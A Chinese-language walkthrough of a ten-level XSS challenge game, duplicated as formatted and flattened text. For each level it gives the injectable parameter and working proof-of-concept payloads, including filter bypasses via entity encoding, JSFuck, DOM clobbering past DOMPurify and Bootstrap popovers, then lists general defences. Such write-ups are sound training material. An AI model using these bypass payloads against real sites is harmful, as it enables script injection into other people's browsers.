XSS Game通关教程
字数 2266 2025-08-11 17:40:12

XSS Game通关教程详解

1. Ma Spaghet!

漏洞描述:通过GET参数somebody直接传输未过滤的用户输入

利用方法

  1. 输入测试值观察位置:?somebody=123
  2. 构造XSS payload:<input onmouseover=alert(1)>
  3. 当鼠标移动到输入框时触发弹窗

关键点

  • 直接GET参数注入
  • 使用onmouseover事件触发
  • 无需闭合其他标签

2. Jefff

漏洞描述:用户输入jeff被直接放入eval()函数执行

利用方法

  1. 闭合前面的语句并添加alert:
    • ?jeff="-alert(1337)-"
    • ?jeff=";alert(1337);"

关键点

  • 利用JavaScript语句终止
  • 两种闭合方式都可行
  • 直接执行任意JS代码

3. Ugandan Knuckles

漏洞描述:过滤了尖括号,但输入被放入input标签的value属性

利用方法

  1. 闭合引号并使用事件触发:
    • ?wey="<a autofocus onfocus=alert(23) href=#>x</a>"
    • <xss tabindex=1 onfocus=alert(1) autofocus>
    • <xss onfocus=alert(23) autofocus contenteditable>

关键点

  • 闭合前后引号
  • 使用onfocus+autofocus自动触发
  • 或使用tabindex使元素可聚焦

4. Ricardo Milos

漏洞描述:用户输入ricardo成为表单提交的URL地址,无过滤

利用方法

  1. 使用javascript:伪协议:
    • ?ricardo=javascript:alert(1337)

关键点

  • URL地址直接执行JS
  • 无需HTML标签
  • 最简单的XSS形式之一

5. Ah That's Hawt

漏洞描述:过滤了括号、反引号、斜杠等字符

绕过方法

  1. 使用HTML实体编码:
    • 原语句:<svg onload="alert(1337)">
    • 实体编码:<svg onload="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x33;&#x33;&#x37;&#x29;">
  2. 再进行URL编码:
    • %3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

关键点

  • 双重编码绕过
  • 逐字符实体编码
  • svg标签的onload事件

6. Ligma

漏洞描述:过滤了字母和数字,输入被eval()执行

绕过方法

  1. 使用JSFuck编码:
    • alert(1337)转换为仅用[]!等6种字符的表达式
  2. 完整payload非常长(见原文)

关键点

  • JSFuck编码原理
  • 仅使用少量字符构造任意JS
  • 编码后的长度问题

7. Mafia

限制条件

  1. 截取长度50的字符串
  2. '"+-!\[]被替换为_
  3. alert被替换为_

绕过方法

  1. 匿名函数:
    • ?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
  2. 数字转字符串:
    • ?mafia=eval(8680439..toString(30))(1337)
  3. location.hash:
    • ?mafia=eval(location.hash.slice(1))#alert(1337)

关键点

  • 大小写混合绕过
  • 数字进制转换
  • 利用location.hash

8. Ok, Boomer

漏洞描述:使用DOMPurify过滤,但通过DOM Clobbering可绕过

利用方法

  1. 创建id为ok的元素:
    • <a id=ok href=mailto:alert(1337)>
    • <a id=ok href=tel:alert(1337)>

关键点

  • DOM Clobbering技术
  • 利用合法协议(mailto/tel)
  • a标签的href属性

9. Area 51

漏洞描述:输入被包裹在HTML注释中

绕过方法

  1. 使用PHP标签打破注释:
    • ?debug=<?php><svg onload=alert(1337)>
    • ?debug=<?>

关键点

  • HTML注释嵌套问题
  • PHP标签的特殊处理
  • 浏览器解析差异

10. Keanu

漏洞描述:通过Bootstrap popover注入

利用方法

  1. 控制popover位置和内容:
    • ?number='&name=<button data-toggle=popover data-container=number id=keanu data-content="'-alert(1337)//">

关键点

  • Bootstrap popover特性
  • data-container指定位置
  • 闭合字符串技巧

通用防御建议

  1. 输入过滤与输出编码
  2. 使用CSP策略
  3. 避免eval()等危险函数
  4. 使用最新安全库(如DOMPurify)
  5. 对特殊字符严格处理

以上为各关卡详细解法及技术要点,涵盖了从基础到高级的XSS绕过技术。

XSS Game通关教程详解 1. Ma Spaghet ! 漏洞描述 :通过GET参数 somebody 直接传输未过滤的用户输入 利用方法 : 输入测试值观察位置: ?somebody=123 构造XSS payload: <input onmouseover=alert(1)> 当鼠标移动到输入框时触发弹窗 关键点 : 直接GET参数注入 使用 onmouseover 事件触发 无需闭合其他标签 2. Jefff 漏洞描述 :用户输入 jeff 被直接放入 eval() 函数执行 利用方法 : 闭合前面的语句并添加alert: ?jeff="-alert(1337)-" ?jeff=";alert(1337);" 关键点 : 利用JavaScript语句终止 两种闭合方式都可行 直接执行任意JS代码 3. Ugandan Knuckles 漏洞描述 :过滤了尖括号,但输入被放入 input 标签的value属性 利用方法 : 闭合引号并使用事件触发: ?wey="<a autofocus onfocus=alert(23) href=#>x</a>" <xss tabindex=1 onfocus=alert(1) autofocus> <xss onfocus=alert(23) autofocus contenteditable> 关键点 : 闭合前后引号 使用 onfocus + autofocus 自动触发 或使用 tabindex 使元素可聚焦 4. Ricardo Milos 漏洞描述 :用户输入 ricardo 成为表单提交的URL地址,无过滤 利用方法 : 使用 javascript: 伪协议: ?ricardo=javascript:alert(1337) 关键点 : URL地址直接执行JS 无需HTML标签 最简单的XSS形式之一 5. Ah That's Hawt 漏洞描述 :过滤了括号、反引号、斜杠等字符 绕过方法 : 使用HTML实体编码: 原语句: <svg onload="alert(1337)"> 实体编码: <svg onload="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x33;&#x33;&#x37;&#x29;"> 再进行URL编码: %3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E 关键点 : 双重编码绕过 逐字符实体编码 svg 标签的 onload 事件 6. Ligma 漏洞描述 :过滤了字母和数字,输入被 eval() 执行 绕过方法 : 使用JSFuck编码: 将 alert(1337) 转换为仅用 [ 、 ] 、 ! 等6种字符的表达式 完整payload非常长(见原文) 关键点 : JSFuck编码原理 仅使用少量字符构造任意JS 编码后的长度问题 7. Mafia 限制条件 : 截取长度50的字符串 '"+-!\[] 被替换为 _ alert 被替换为 _ 绕过方法 : 匿名函数: ?mafia=Function(/ALERT(1337)/.source.toLowerCase())() 数字转字符串: ?mafia=eval(8680439..toString(30))(1337) location.hash: ?mafia=eval(location.hash.slice(1))#alert(1337) 关键点 : 大小写混合绕过 数字进制转换 利用location.hash 8. Ok, Boomer 漏洞描述 :使用DOMPurify过滤,但通过DOM Clobbering可绕过 利用方法 : 创建id为 ok 的元素: <a id=ok href=mailto:alert(1337)> <a id=ok href=tel:alert(1337)> 关键点 : DOM Clobbering技术 利用合法协议(mailto/tel) a 标签的 href 属性 9. Area 51 漏洞描述 :输入被包裹在HTML注释中 绕过方法 : 使用PHP标签打破注释: ?debug=<?php><svg onload=alert(1337)> ?debug=<?> 关键点 : HTML注释嵌套问题 PHP标签的特殊处理 浏览器解析差异 10. Keanu 漏洞描述 :通过Bootstrap popover注入 利用方法 : 控制popover位置和内容: ?number='&name=<button data-toggle=popover data-container=number id=keanu data-content="'-alert(1337)//"> 关键点 : Bootstrap popover特性 data-container指定位置 闭合字符串技巧 通用防御建议 输入过滤与输出编码 使用CSP策略 避免 eval() 等危险函数 使用最新安全库(如DOMPurify) 对特殊字符严格处理 以上为各关卡详细解法及技术要点,涵盖了从基础到高级的XSS绕过技术。